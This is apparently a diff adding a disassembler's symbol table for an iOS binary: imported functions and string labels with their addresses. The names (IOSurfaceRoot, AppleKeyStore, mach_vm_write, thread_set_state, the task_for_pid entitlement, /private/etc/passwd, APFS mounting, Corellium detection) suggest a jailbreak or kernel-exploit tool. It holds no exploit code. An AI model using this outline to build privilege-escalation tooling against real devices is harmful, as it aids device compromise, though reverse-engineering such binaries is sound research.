+ "name": "_CFArrayContainsValue", + "address": "0x4111C", + "size": "0x10" + }, + { + "name": "_CFArrayGetCount", + "address": "0x4112C", + "size": "0x10" + }, + { + "name": "_CFArrayGetTypeID", + "address": "0x4113C", + "size": "0x10" + }, + { + "name": "_CFBooleanGetTypeID", + "address": "0x4114C", + "size": "0x10" + }, + { + "name": "_CFDataCreate", + "address": "0x4115C", + "size": "0x10" + }, + { + "name": "_CFDataCreateWithBytesNoCopy", + "address": "0x4116C", + "size": "0x10" + }, + { + "name": "_CFDataGetBytePtr", + "address": "0x4117C", + "size": "0x10" + }, + { + "name": "_CFDataGetLength", + "address": "0x4118C", + "size": "0x10" + }, + { + "name": "_CFDataGetTypeID", + "address": "0x4119C", + "size": "0x10" + }, + { + "name": "_CFDictionaryAddValue", + "address": "0x411AC", + "size": "0x10" + }, + { + "name": "_CFDictionaryApplyFunction", + "address": "0x411BC", + "size": "0x10" + }, + { + "name": "_CFDictionaryCreateMutable", + "address": "0x411CC", + "size": "0x10" + }, + { + "name": "_CFDictionaryCreateMutableCopy", + "address": "0x411DC", + "size": "0x10" + }, + { + "name": "_CFDictionaryGetTypeID", + "address": "0x411EC", + "size": "0x10" + }, + { + "name": "_CFDictionaryGetValueIfPresent", + "address": "0x411FC", + "size": "0x10" + }, + { + "name": "_CFDictionarySetValue", + "address": "0x4120C", + "size": "0x10" + }, + { + "name": "_CFEqual", + "address": "0x4121C", + "size": "0x10" + }, + { + "name": "_CFGetTypeID", + "address": "0x4122C", + "size": "0x10" + }, + { + "name": "_CFNumberCreate", + "address": "0x4123C", + "size": "0x10" + }, + { + "name": "_CFNumberGetTypeID", + "address": "0x4124C", + "size": "0x10" + }, + { + "name": "_CFNumberGetValue", + "address": "0x4125C", + "size": "0x10" + }, + { + "name": "_CFPropertyListCreateData", + "address": "0x4126C", + "size": "0x10" + }, + { + "name": "_CFPropertyListCreateWithData", + "address": "0x4127C", + "size": "0x10" + }, + { + "name": "_CFPropertyListCreateWithStream", + "address": "0x4128C", + "size": "0x10" + }, + { + "name": "_CFReadStreamClose", + "address": "0x4129C", + "size": "0x10" + }, + { + "name": "_CFReadStreamCreateWithBytesNoCopy", + "address": "0x412AC", + "size": "0x10" + }, + { + "name": "_CFReadStreamOpen", + "address": "0x412BC", + "size": "0x10" + }, + { + "name": "_CFRelease", + "address": "0x412CC", + "size": "0x10" + }, + { + "name": "_CFRunLoopAddSource", + "address": "0x412DC", + "size": "0x10" + }, + { + "name": "_CFRunLoopGetCurrent", + "address": "0x412EC", + "size": "0x10" + }, + { + "name": "_CFRunLoopRemoveSource", + "address": "0x412FC", + "size": "0x10" + }, + { + "name": "_CFRunLoopRunInMode", + "address": "0x4130C", + "size": "0x10" + }, + { + "name": "_CFStringCreateWithCString", + "address": "0x4131C", + "size": "0x10" + }, + { + "name": "_CFStringGetCString", + "address": "0x4132C", + "size": "0x10" + }, + { + "name": "_CFStringGetSystemEncoding", + "address": "0x4133C", + "size": "0x10" + }, + { + "name": "_CFStringGetTypeID", + "address": "0x4134C", + "size": "0x10" + }, + { + "name": "_CFStringHasPrefix", + "address": "0x4135C", + "size": "0x10" + }, + { + "name": "_IOCFSerialize", + "address": "0x4136C", + "size": "0x10" + }, + { + "name": "_IOConnectCallMethod", + "address": "0x4137C", + "size": "0x10" + }, + { + "name": "_IOConnectCallScalarMethod", + "address": "0x4138C", + "size": "0x10" + }, + { + "name": "_IOConnectCallStructMethod", + "address": "0x4139C", + "size": "0x10" + }, + { + "name": "_IOConnectTrap4", + "address": "0x413AC", + "size": "0x10" + }, + { + "name": "_IOConnectTrap6", + "address": "0x413BC", + "size": "0x10" + }, + { + "name": "_IOIteratorNext", + "address": "0x413CC", + "size": "0x10" + }, + { + "name": "_IONotificationPortCreate", + "address": "0x413DC", + "size": "0x10" + }, + { + "name": "_IONotificationPortDestroy", + "address": "0x413EC", + "size": "0x10" + }, + { + "name": "_IONotificationPortGetRunLoopSource", + "address": "0x413FC", + "size": "0x10" + }, + { + "name": "_IOObjectRelease", + "address": "0x4140C", + "size": "0x10" + }, + { + "name": "_IORegistryEntryCreateCFProperties", + "address": "0x4141C", + "size": "0x10" + }, + { + "name": "_IORegistryEntryCreateCFProperty", + "address": "0x4142C", + "size": "0x10" + }, + { + "name": "_IORegistryEntryFromPath", + "address": "0x4143C", + "size": "0x10" + }, + { + "name": "_IORegistryEntryGetChildIterator", + "address": "0x4144C", + "size": "0x10" + }, + { + "name": "_IORegistryEntrySearchCFProperty", + "address": "0x4145C", + "size": "0x10" + }, + { + "name": "_IOServiceAddMatchingNotification", + "address": "0x4146C", + "size": "0x10" + }, + { + "name": "_IOServiceClose", + "address": "0x4147C", + "size": "0x10" + }, + { + "name": "_IOServiceGetMatchingService", + "address": "0x4148C", + "size": "0x10" + }, + { + "name": "_IOServiceMatching", + "address": "0x4149C", + "size": "0x10" + }, + { + "name": "_IOServiceOpen", + "address": "0x414AC", + "size": "0x10" + }, + { + "name": "_IOServiceWaitQuiet", + "address": "0x414BC", + "size": "0x10" + }, + { + "name": "__CFProcessPath", + "address": "0x414CC", + "size": "0x10" + }, + { + "name": "__IOServiceSetAuthorizationID", + "address": "0x414DC", + "size": "0x10" + }, + { + "name": "___error", + "address": "0x414EC", + "size": "0x10" + }, + { + "name": "___memcpy_chk", + "address": "0x414FC", + "size": "0x10" + }, + { + "name": "___memset_chk", + "address": "0x4150C", + "size": "0x10" + }, + { + "name": "___semwait_signal", + "address": "0x4151C", + "size": "0x10" + }, + { + "name": "___stack_chk_fail", + "address": "0x4152C", + "size": "0x10" + }, + { + "name": "___strlcpy_chk", + "address": "0x4153C", + "size": "0x10" + }, + { + "name": "___ulock_wait", + "address": "0x4154C", + "size": "0x10" + }, + { + "name": "___ulock_wake", + "address": "0x4155C", + "size": "0x10" + }, + { + "name": "__get_cpu_capabilities", + "address": "0x4156C", + "size": "0x10" + }, + { + "name": "__os_alloc_once", + "address": "0x4157C", + "size": "0x10" + }, + { + "name": "_arc4random_buf", + "address": "0x4158C", + "size": "0x10" + }, + { + "name": "_bzero", + "address": "0x4159C", + "size": "0x10" + }, + { + "name": "_calloc", + "address": "0x415AC", + "size": "0x10" + }, + { + "name": "_chown", + "address": "0x415BC", + "size": "0x10" + }, + { + "name": "_close", + "address": "0x415CC", + "size": "0x10" + }, + { + "name": "_connect", + "address": "0x415DC", + "size": "0x10" + }, + { + "name": "_dlclose", + "address": "0x415EC", + "size": "0x10" + }, + { + "name": "_dlopen", + "address": "0x415FC", + "size": "0x10" + }, + { + "name": "_dlsym", + "address": "0x4160C", + "size": "0x10" + }, + { + "name": "_fcntl", + "address": "0x4161C", + "size": "0x10" + }, + { + "name": "_ffsctl", + "address": "0x4162C", + "size": "0x10" + }, + { + "name": "_fileport_makefd", + "address": "0x4163C", + "size": "0x10" + }, + { + "name": "_fileport_makeport", + "address": "0x4164C", + "size": "0x10" + }, + { + "name": "_free", + "address": "0x4165C", + "size": "0x10" + }, + { + "name": "_fstat", + "address": "0x4166C", + "size": "0x10" + }, + { + "name": "_getattrlist", + "address": "0x4167C", + "size": "0x10" + }, + { + "name": "_getmntinfo", + "address": "0x4168C", + "size": "0x10" + }, + { + "name": "_getpid", + "address": "0x4169C", + "size": "0x10" + }, + { + "name": "_getppid", + "address": "0x416AC", + "size": "0x10" + }, + { + "name": "_getuid", + "address": "0x416BC", + "size": "0x10" + }, + { + "name": "_host_create_mach_voucher", + "address": "0x416CC", + "size": "0x10" + }, + { + "name": "_host_get_io_master", + "address": "0x416DC", + "size": "0x10" + }, + { + "name": "_host_get_special_port", + "address": "0x416EC", + "size": "0x10" + }, + { + "name": "_host_kernel_version", + "address": "0x416FC", + "size": "0x10" + }, + { + "name": "_host_page_size", + "address": "0x4170C", + "size": "0x10" + }, + { + "name": "_host_processors", + "address": "0x4171C", + "size": "0x10" + }, + { + "name": "_host_security_set_task_token", + "address": "0x4172C", + "size": "0x10" + }, + { + "name": "_ioctl", + "address": "0x4173C", + "size": "0x10" + }, + { + "name": "_lstat", + "address": "0x4174C", + "size": "0x10" + }, + { + "name": "_mach_absolute_time", + "address": "0x4175C", + "size": "0x10" + }, + { + "name": "_mach_host_self", + "address": "0x4176C", + "size": "0x10" + }, + { + "name": "_mach_make_memory_entry", + "address": "0x4177C", + "size": "0x10" + }, + { + "name": "_mach_make_memory_entry_64", + "address": "0x4178C", + "size": "0x10" + }, + { + "name": "_mach_msg", + "address": "0x4179C", + "size": "0x10" + }, + { + "name": "_mach_msg_destroy", + "address": "0x417AC", + "size": "0x10" + }, + { + "name": "_mach_msg_send", + "address": "0x417BC", + "size": "0x10" + }, + { + "name": "_mach_port_allocate", + "address": "0x417CC", + "size": "0x10" + }, + { + "name": "_mach_port_deallocate", + "address": "0x417DC", + "size": "0x10" + }, + { + "name": "_mach_port_destroy", + "address": "0x417EC", + "size": "0x10" + }, + { + "name": "_mach_port_get_attributes", + "address": "0x417FC", + "size": "0x10" + }, + { + "name": "_mach_port_insert_right", + "address": "0x4180C", + "size": "0x10" + }, + { + "name": "_mach_port_mod_refs", + "address": "0x4181C", + "size": "0x10" + }, + { + "name": "_mach_port_request_notification", + "address": "0x4182C", + "size": "0x10" + }, + { + "name": "_mach_port_set_attributes", + "address": "0x4183C", + "size": "0x10" + }, + { + "name": "_mach_port_space_info", + "address": "0x4184C", + "size": "0x10" + }, + { + "name": "_mach_ports_register", + "address": "0x4185C", + "size": "0x10" + }, + { + "name": "_mach_reply_port", + "address": "0x4186C", + "size": "0x10" + }, + { + "name": "_mach_thread_self", + "address": "0x4187C", + "size": "0x10" + }, + { + "name": "_mach_timebase_info", + "address": "0x4188C", + "size": "0x10" + }, + { + "name": "_mach_vm_allocate", + "address": "0x4189C", + "size": "0x10" + }, + { + "name": "_mach_vm_deallocate", + "address": "0x418AC", + "size": "0x10" + }, + { + "name": "_mach_vm_machine_attribute", + "address": "0x418BC", + "size": "0x10" + }, + { + "name": "_mach_vm_page_info", + "address": "0x418CC", + "size": "0x10" + }, + { + "name": "_mach_vm_read_overwrite", + "address": "0x418DC", + "size": "0x10" + }, + { + "name": "_mach_vm_wire", + "address": "0x418EC", + "size": "0x10" + }, + { + "name": "_mach_vm_write", + "address": "0x418FC", + "size": "0x10" + }, + { + "name": "_madvise", + "address": "0x4190C", + "size": "0x10" + }, + { + "name": "_malloc", + "address": "0x4191C", + "size": "0x10" + }, + { + "name": "_memcmp", + "address": "0x4192C", + "size": "0x10" + }, + { + "name": "_memcpy", + "address": "0x4193C", + "size": "0x10" + }, + { + "name": "_mig_dealloc_reply_port", + "address": "0x4194C", + "size": "0x10" + }, + { + "name": "_mig_get_reply_port", + "address": "0x4195C", + "size": "0x10" + }, + { + "name": "_mkdir", + "address": "0x4196C", + "size": "0x10" + }, + { + "name": "_mktemp", + "address": "0x4197C", + "size": "0x10" + }, + { + "name": "_mmap", + "address": "0x4198C", + "size": "0x10" + }, + { + "name": "_mount", + "address": "0x4199C", + "size": "0x10" + }, + { + "name": "_necp_client_action", + "address": "0x419AC", + "size": "0x10" + }, + { + "name": "_necp_open", + "address": "0x419BC", + "size": "0x10" + }, + { + "name": "_open", + "address": "0x419CC", + "size": "0x10" + }, + { + "name": "_open_dprotected_np", + "address": "0x419DC", + "size": "0x10" + }, + { + "name": "_pid_for_task", + "address": "0x419EC", + "size": "0x10" + }, + { + "name": "_pipe", + "address": "0x419FC", + "size": "0x10" + }, + { + "name": "_posix_spawn", + "address": "0x41A0C", + "size": "0x10" + }, + { + "name": "_posix_spawn_file_actions_addopen", + "address": "0x41A1C", + "size": "0x10" + }, + { + "name": "_posix_spawn_file_actions_destroy", + "address": "0x41A2C", + "size": "0x10" + }, + { + "name": "_posix_spawn_file_actions_init", + "address": "0x41A3C", + "size": "0x10" + }, + { + "name": "_posix_spawnattr_destroy", + "address": "0x41A4C", + "size": "0x10" + }, + { + "name": "_posix_spawnattr_init", + "address": "0x41A5C", + "size": "0x10" + }, + { + "name": "_posix_spawnattr_setflags", + "address": "0x41A6C", + "size": "0x10" + }, + { + "name": "_posix_spawnattr_setpgroup", + "address": "0x41A7C", + "size": "0x10" + }, + { + "name": "_posix_spawnattr_setsigdefault", + "address": "0x41A8C", + "size": "0x10" + }, + { + "name": "_pread", + "address": "0x41A9C", + "size": "0x10" + }, + { + "name": "_proc_pidinfo", + "address": "0x41AAC", + "size": "0x10" + }, + { + "name": "_processor_set_default", + "address": "0x41ABC", + "size": "0x10" + }, + { + "name": "_processor_set_info", + "address": "0x41ACC", + "size": "0x10" + }, + { + "name": "_pthread_attr_destroy", + "address": "0x41ADC", + "size": "0x10" + }, + { + "name": "_pthread_attr_init", + "address": "0x41AEC", + "size": "0x10" + }, + { + "name": "_pthread_attr_setdetachstate", + "address": "0x41AFC", + "size": "0x10" + }, + { + "name": "_pthread_create", + "address": "0x41B0C", + "size": "0x10" + }, + { + "name": "_pthread_create_suspended_np", + "address": "0x41B1C", + "size": "0x10" + }, + { + "name": "_pthread_from_mach_thread_np", + "address": "0x41B2C", + "size": "0x10" + }, + { + "name": "_pthread_join", + "address": "0x41B3C", + "size": "0x10" + }, + { + "name": "_pthread_mach_thread_np", + "address": "0x41B4C", + "size": "0x10" + }, + { + "name": "_pthread_mutex_destroy", + "address": "0x41B5C", + "size": "0x10" + }, + { + "name": "_pthread_mutex_init", + "address": "0x41B6C", + "size": "0x10" + }, + { + "name": "_pthread_mutex_lock", + "address": "0x41B7C", + "size": "0x10" + }, + { + "name": "_pthread_mutex_unlock", + "address": "0x41B8C", + "size": "0x10" + }, + { + "name": "_pthread_self", + "address": "0x41B9C", + "size": "0x10" + }, + { + "name": "_qsort", + "address": "0x41BAC", + "size": "0x10" + }, + { + "name": "_read", + "address": "0x41BBC", + "size": "0x10" + }, + { + "name": "_realloc", + "address": "0x41BCC", + "size": "0x10" + }, + { + "name": "_rmdir", + "address": "0x41BDC", + "size": "0x10" + }, + { + "name": "_sandbox_check", + "address": "0x41BEC", + "size": "0x10" + }, + { + "name": "_sched_yield", + "address": "0x41BFC", + "size": "0x10" + }, + { + "name": "_semaphore_create", + "address": "0x41C0C", + "size": "0x10" + }, + { + "name": "_semaphore_destroy", + "address": "0x41C1C", + "size": "0x10" + }, + { + "name": "_semaphore_signal", + "address": "0x41C2C", + "size": "0x10" + }, + { + "name": "_semaphore_timedwait", + "address": "0x41C3C", + "size": "0x10" + }, + { + "name": "_semaphore_wait", + "address": "0x41C4C", + "size": "0x10" + }, + { + "name": "_seteuid", + "address": "0x41C5C", + "size": "0x10" + }, + { + "name": "_setsockopt", + "address": "0x41C6C", + "size": "0x10" + }, + { + "name": "_snprintf", + "address": "0x41C7C", + "size": "0x10" + }, + { + "name": "_socket", + "address": "0x41C8C", + "size": "0x10" + }, + { + "name": "_sscanf", + "address": "0x41C9C", + "size": "0x10" + }, + { + "name": "_stat", + "address": "0x41CAC", + "size": "0x10" + }, + { + "name": "_statfs", + "address": "0x41CBC", + "size": "0x10" + }, + { + "name": "_strchr", + "address": "0x41CCC", + "size": "0x10" + }, + { + "name": "_strcmp", + "address": "0x41CDC", + "size": "0x10" + }, + { + "name": "_strcpy", + "address": "0x41CEC", + "size": "0x10" + }, + { + "name": "_strdup", + "address": "0x41CFC", + "size": "0x10" + }, + { + "name": "_strlcpy", + "address": "0x41D0C", + "size": "0x10" + }, + { + "name": "_strlen", + "address": "0x41D1C", + "size": "0x10" + }, + { + "name": "_strncmp", + "address": "0x41D2C", + "size": "0x10" + }, + { + "name": "_strsep", + "address": "0x41D3C", + "size": "0x10" + }, + { + "name": "_strstr", + "address": "0x41D4C", + "size": "0x10" + }, + { + "name": "_strtol", + "address": "0x41D5C", + "size": "0x10" + }, + { + "name": "_syscall", + "address": "0x41D6C", + "size": "0x10" + }, + { + "name": "_sysctl", + "address": "0x41D7C", + "size": "0x10" + }, + { + "name": "_sysctlbyname", + "address": "0x41D8C", + "size": "0x10" + }, + { + "name": "_task_get_special_port", + "address": "0x41D9C", + "size": "0x10" + }, + { + "name": "_task_info", + "address": "0x41DAC", + "size": "0x10" + }, + { + "name": "_task_map_corpse_info_64", + "address": "0x41DBC", + "size": "0x10" + }, + { + "name": "_task_resume2", + "address": "0x41DCC", + "size": "0x10" + }, + { + "name": "_task_set_special_port", + "address": "0x41DDC", + "size": "0x10" + }, + { + "name": "_task_suspend2", + "address": "0x41DEC", + "size": "0x10" + }, + { + "name": "_task_threads", + "address": "0x41DFC", + "size": "0x10" + }, + { + "name": "_thread_create", + "address": "0x41E0C", + "size": "0x10" + }, + { + "name": "_thread_get_state", + "address": "0x41E1C", + "size": "0x10" + }, + { + "name": "_thread_policy_set", + "address": "0x41E2C", + "size": "0x10" + }, + { + "name": "_thread_resume", + "address": "0x41E3C", + "size": "0x10" + }, + { + "name": "_thread_set_exception_ports", + "address": "0x41E4C", + "size": "0x10" + }, + { + "name": "_thread_set_state", + "address": "0x41E5C", + "size": "0x10" + }, + { + "name": "_thread_suspend", + "address": "0x41E6C", + "size": "0x10" + }, + { + "name": "_thread_switch", + "address": "0x41E7C", + "size": "0x10" + }, + { + "name": "_thread_terminate", + "address": "0x41E8C", + "size": "0x10" + }, + { + "name": "_uname", + "address": "0x41E9C", + "size": "0x10" + }, + { + "name": "_unlink", + "address": "0x41EAC", + "size": "0x10" + }, + { + "name": "_unmount", + "address": "0x41EBC", + "size": "0x10" + }, + { + "name": "_usleep", + "address": "0x41ECC", + "size": "0x10" + }, + { + "name": "_uuid_is_null", + "address": "0x41EDC", + "size": "0x10" + }, + { + "name": "_vm_allocate", + "address": "0x41EEC", + "size": "0x10" + }, + { + "name": "_vm_copy", + "address": "0x41EFC", + "size": "0x10" + }, + { + "name": "_vm_deallocate", + "address": "0x41F0C", + "size": "0x10" + }, + { + "name": "_vm_map", + "address": "0x41F1C", + "size": "0x10" + }, + { + "name": "_vm_protect", + "address": "0x41F2C", + "size": "0x10" + }, + { + "name": "_vm_read_overwrite", + "address": "0x41F3C", + "size": "0x10" + }, + { + "name": "_vm_region_64", + "address": "0x41F4C", + "size": "0x10" + }, + { + "name": "_vm_region_recurse_64", + "address": "0x41F5C", + "size": "0x10" + }, + { + "name": "_vm_remap", + "address": "0x41F6C", + "size": "0x10" + }, + { + "name": "_vm_write", + "address": "0x41F7C", + "size": "0x10" + }, + { + "name": "_waitpid", + "address": "0x41F8C", + "size": "0x10" + }, + { + "name": "_write", + "address": "0x41F9C", + "size": "0x10" + }, + { + "name": "def_3E8F0", + "address": "0x0" + }, + { + "name": "aX05", + "address": "0x5B8" + }, + { + "name": "aUsrLibLibc1Dyl", + "address": "0x6C0" + }, + { + "name": "aSystemLibraryF", + "address": "0x6F0" + }, + { + "name": "aSystemLibraryF_0", + "address": "0x748" + }, + { + "name": "aSystemLibraryF_1", + "address": "0x7A8" + }, + { + "name": "aUsrLibLibsyste", + "address": "0x800" + }, + { + "name": "_driver_0", + "address": "0x5EBC" + }, + { + "name": "def_9B7C", + "address": "0x9BDC" + }, + { + "name": "jpt_9B7C", + "address": "0x9F34" + }, + { + "name": "def_3E658", + "address": "0x3E904" + }, + { + "name": "def_3E934", + "address": "0x3EB84" + }, + { + "name": "def_3E814", + "address": "0x3F168" + }, + { + "name": "def_3E720", + "address": "0x3F17C" + }, + { + "name": "jpt_3E720", + "address": "0x3F1A0" + }, + { + "name": "jpt_3E934", + "address": "0x3F1B8" + }, + { + "name": "jpt_3E658", + "address": "0x3F1DC" + }, + { + "name": "jpt_3E8F0", + "address": "0x3F274" + }, + { + "name": "jpt_3E814", + "address": "0x3F2B0" + }, + { + "name": "aRelease", + "address": "0x41FAC" + }, + { + "name": "aXnu", + "address": "0x41FB4" + }, + { + "name": "aXnuUUUS", + "address": "0x41FB9" + }, + { + "name": "a083d4092091880", + "address": "0x41FC9" + }, + { + "name": "a1f010aEb410000", + "address": "0x41FE1" + }, + { + "name": "aIosurfaceroot", + "address": "0x42011" + }, + { + "name": "aSystemLibraryF_2", + "address": "0x4201F" + }, + { + "name": "aKiosurfaceisgl", + "address": "0x42058" + }, + { + "name": "aKiosurfacewidt", + "address": "0x4206B" + }, + { + "name": "aKiosurfaceheig", + "address": "0x4207B" + }, + { + "name": "a2901008a29010a", + "address": "0x4208C" + }, + { + "name": "a087c7292080109", + "address": "0x420BC" + }, + { + "name": "aPrivateEtcGrou", + "address": "0x420EC" + }, + { + "name": "aV120i8", + "address": "0x420FF" + }, + { + "name": "a1f0113Eb209153", + "address": "0x42108" + }, + { + "name": "a1f01Eb2091Fa00", + "address": "0x42132" + }, + { + "name": "aDevDisk0s1s1", + "address": "0x42156" + }, + { + "name": "aDictKeyComAppl", + "address": "0x42165" + }, + { + "name": "aOrigFs", + "address": "0x421A3" + }, + { + "name": "aPrivateVarMobi", + "address": "0x421AB" + }, + { + "name": "aPrivateVarMobi_0", + "address": "0x421D2" + }, + { + "name": "aSbinMountApfs", + "address": "0x421FC" + }, + { + "name": "aO", + "address": "0x4220D" + }, + { + "name": "aNobrowse", + "address": "0x42210" + }, + { + "name": "aRdonlyNobrowse", + "address": "0x42219" + }, + { + "name": "aPrivateVarMobi_1", + "address": "0x42229" + }, + { + "name": "aDictKeyComAppl_0", + "address": "0x4224B" + }, + { + "name": "aApfs", + "address": "0x42298" + }, + { + "name": "aApplekeystore", + "address": "0x4229D" + }, + { + "name": "aIokitOsdiction", + "address": "0x422AB" + }, + { + "name": "aXyz", + "address": "0x422BE" + }, + { + "name": "aComAppleIokitI", + "address": "0x422C2" + }, + { + "name": "aComAppleAgxg", + "address": "0x422DE" + }, + { + "name": "aBackboardd", + "address": "0x422ED" + }, + { + "name": "aThreadStarts", + "address": "0x422F8" + }, + { + "name": "aKld", + "address": "0x42308" + }, + { + "name": "aLinkedit", + "address": "0x4230E" + }, + { + "name": "aT8020", + "address": "0x42319" + }, + { + "name": "aV80", + "address": "0x4231F" + }, + { + "name": "a00000191C0035f", + "address": "0x42325" + }, + { + "name": "aApplem2scalerc", + "address": "0x4233D" + }, + { + "name": "aText", + "address": "0x42354" + }, + { + "name": "aCstring", + "address": "0x4235B" + }, + { + "name": "a08Fd64D31f2100", + "address": "0x42365" + }, + { + "name": "aFdD30000B5", + "address": "0x42389" + }, + { + "name": "aFdD300F154", + "address": "0x423A1" + }, + { + "name": "a6bFd62D37f1900", + "address": "0x423C5" + }, + { + "name": "a018b88D038D5E8", + "address": "0x423E9" + }, + { + "name": "aModInitFunc", + "address": "0x4240D" + }, + { + "name": "a688240B9080119", + "address": "0x4241D" + }, + { + "name": "a687240B9080119", + "address": "0x42441" + }, + { + "name": "aE00315AaFe0313", + "address": "0x42465" + }, + { + "name": "a2b0940B94b390b", + "address": "0x42489" + }, + { + "name": "a5f000071200100", + "address": "0x424A1" + }, + { + "name": "a0900F900008052", + "address": "0x424C2" + }, + { + "name": "a0900F9E1030032", + "address": "0x424E6" + }, + { + "name": "aLibsyscall", + "address": "0x4250A" + }, + { + "name": "aLibsyscallDDDD", + "address": "0x42516" + }, + { + "name": "aXnuDDDDDS", + "address": "0x42533" + }, + { + "name": "aPrivateVarFact", + "address": "0x42549" + }, + { + "name": "aDevS", + "address": "0x42564" + }, + { + "name": "aSTempXxxxxx", + "address": "0x4256C" + }, + { + "name": "aHfs", + "address": "0x4257B" + }, + { + "name": "aRamU", + "address": "0x4257F" + }, + { + "name": "aAutodiskmount", + "address": "0x42588" + }, + { + "name": "aOtaUniqueIdent", + "address": "0x42596" + }, + { + "name": "aImagePath", + "address": "0x425AC" + }, + { + "name": "aDictKeyComAppl_1", + "address": "0x425B7" + }, + { + "name": "aIohdixcontroll", + "address": "0x426B9" + }, + { + "name": "aIoservicematch", + "address": "0x426CA" + }, + { + "name": "aIomedia", + "address": "0x426DB" + }, + { + "name": "aBsdName", + "address": "0x426E3" + }, + { + "name": "aIoservice", + "address": "0x426EC" + }, + { + "name": "aSbinNewfsHfs", + "address": "0x426F6" + }, + { + "name": "aP", + "address": "0x42706" + }, + { + "name": "aE00313Aa010080", + "address": "0x42709" + }, + { + "name": "a00E400200100Ad", + "address": "0x4273F" + }, + { + "name": "a3f7d01A95f0100", + "address": "0x4276F" + }, + { + "name": "a0b0540F96c1140", + "address": "0x42793" + }, + { + "name": "a0a0540F92b1140", + "address": "0x427AB" + }, + { + "name": "a1f2003D5080500", + "address": "0x427C3" + }, + { + "name": "a0123456789abcd", + "address": "0x4280B" + }, + { + "name": "aIodevicetreeCh", + "address": "0x4281C" + }, + { + "name": "aBootManifestHa", + "address": "0x42831" + }, + { + "name": "aComAppleOsUpda", + "address": "0x42844" + }, + { + "name": "aMobilebackup", + "address": "0x4285B" + }, + { + "name": "aMachLookup", + "address": "0x42868" + }, + { + "name": "aComAppleSystem", + "address": "0x42874" + }, + { + "name": "aComAppleLsdMap", + "address": "0x42899" + }, + { + "name": "aSyscallUnix", + "address": "0x428AD" + }, + { + "name": "aAppleeventSend", + "address": "0x428BA" + }, + { + "name": "aXnuDDDD", + "address": "0x428CA" + }, + { + "name": "aXnuDDDDDD", + "address": "0x428DA" + }, + { + "name": "aT8120", + "address": "0x428F0" + }, + { + "name": "aIoservicepubli", + "address": "0x428F6" + }, + { + "name": "aDevNull", + "address": "0x42907" + }, + { + "name": "aApplesepmanage", + "address": "0x42911" + }, + { + "name": "a889100B99f0d00", + "address": "0x42921" + }, + { + "name": "aPercpu", + "address": "0x42939" + }, + { + "name": "a0200F9E10313Aa", + "address": "0x42942" + }, + { + "name": "aSpringboard", + "address": "0x4295A" + }, + { + "name": "aIogpu", + "address": "0x42966" + }, + { + "name": "aE80b8052", + "address": "0x4296C" + }, + { + "name": "aUsrLibLibcoree", + "address": "0x42978" + }, + { + "name": "aKcenoerror", + "address": "0x4299B" + }, + { + "name": "aCecruntime", + "address": "0x429A6" + }, + { + "name": "aCemanagedconte", + "address": "0x429B1" + }, + { + "name": "aCequerycontext", + "address": "0x429CC" + }, + { + "name": "aCereleasemanag", + "address": "0x429E9" + }, + { + "name": "aCegeterrorstri", + "address": "0x42A01" + }, + { + "name": "aDictKeyComAppl_2", + "address": "0x42A12" + }, + { + "name": "aPrivateEtcPass", + "address": "0x42A65" + }, + { + "name": "aCsBlobZone", + "address": "0x42A79" + }, + { + "name": "aIokitOsentitle", + "address": "0x42A86" + }, + { + "name": "aUsrLibDyld", + "address": "0x42A9B" + }, + { + "name": "aCeserializecfd", + "address": "0x42AA9" + }, + { + "name": "a14D933F8", + "address": "0x42AC1" + }, + { + "name": "aKey", + "address": "0x42ACD" + }, + { + "name": "aMacLabels", + "address": "0x42AD1" + }, + { + "name": "aIoservice_0", + "address": "0x42ADC" + }, + { + "name": "aPpltext", + "address": "0x42AE8" + }, + { + "name": "a08Dc7092", + "address": "0x42AF2" + }, + { + "name": "aDataConst", + "address": "0x42AFE" + }, + { + "name": "aConst", + "address": "0x42B0B" + }, + { + "name": "aComAppleSecuri", + "address": "0x42B13" + }, + { + "name": "aComAppleDriver", + "address": "0x42B2E" + }, + { + "name": "a007d0413210580", + "address": "0x42B58" + }, + { + "name": "a680208Cb1f2003", + "address": "0x42B88" + }, + { + "name": "aUsrLibexecCore", + "address": "0x42BA0" + }, + { + "name": "aIokitGetProper", + "address": "0x42BB8" + }, + { + "name": "aIoplatformseri", + "address": "0x42BCD" + }, + { + "name": "aIodevicetree", + "address": "0x42BE4" + }, + { + "name": "aCorellium", + "address": "0x42BF3" + }, + { + "name": "aHwModel", + "address": "0x42BFD" + }, + { + "name": "aTextExec", + "address": "0x42C06" + }, + { + "name": "aText_0", + "address": "0x42C12" + }, + { + "name": "a08014039080100", + "address": "0x42C19" + }, + { + "name": "a6b000037400000", + "address": "0x42C31" + }, + { + "name": "a6a000037400000", + "address": "0x42C49" + }, + { + "name": "a09010039C0035f", + "address": "0x42C61" + }, + { + "name": "a09Fd9f08C0035f", + "address": "0x42C79" + }, + { + "name": "aData", + "address": "0x42C91" + }, + { + "name": "aData_0", + "address": "0x42C98" + }, + { + "name": "aDeveloperModeS", + "address": "0x42C9F" + }, + { + "name": "aAllowsSecurity", + "address": "0x42CB5" + }, + { + "name": "aDictKeyTaskFor", + "address": "0x42CCE" + }, + { + "name": "a08294092091580", + "address": "0x42D00" + }, + { + "name": "a28696878091180", + "address": "0x42D18" + }, + { + "name": "_CC_SHA1_Final_ptr", + "address": "0x44000" + }, + { + "name": "_CC_SHA1_Init_ptr", + "address": "0x44008" + }, + { + "name": "_CC_SHA1_Update_ptr", + "address": "0x44010" + }, + { + "name": "_CC_SHA256_Final_ptr", + "address": "0x44018" + }, + { + "name": "_CC_SHA256_Init_ptr", + "address": "0x44020" + }, + { + "name": "_CC_SHA256_Update_ptr", + "address": "0x44028" + }, + { + "name": "_CC_SHA384_Final_ptr", + "address": "0x44030" + }, + { + "name": "_CC_SHA384_Init_ptr", + "address": "0x44038" + }, + { + "name": "_CC_SHA384_Update_ptr", + "address": "0x44040" + }, + { + "name": "_CFArrayAppendValue_ptr", + "address": "0x44048" + }, + { + "name": "_CFArrayApplyFunction_ptr", + "address": "0x44050" + }, + { + "name": "_CFArrayContainsValue_ptr", + "address": "0x44058" + }, + { + "name": "_CFArrayGetCount_ptr", + "address": "0x44060" + }, + { + "name": "_CFArrayGetTypeID_ptr", + "address": "0x44068" + }, + { + "name": "_CFBooleanGetTypeID_ptr", + "address": "0x44070" + }, + { + "name": "_CFDataCreate_ptr", + "address": "0x44078" + }, + { + "name": "_CFDataCreateWithBytesNoCopy_ptr", + "address": "0x44080" + }, + { + "name": "_CFDataGetBytePtr_ptr", + "address": "0x44088" + }, + { + "name": "_CFDataGetLength_ptr", + "address": "0x44090" + }, + { + "name": "_CFDataGetTypeID_ptr", + "address": "0x44098" + }, + { + "name": "_CFDictionaryAddValue_ptr", + 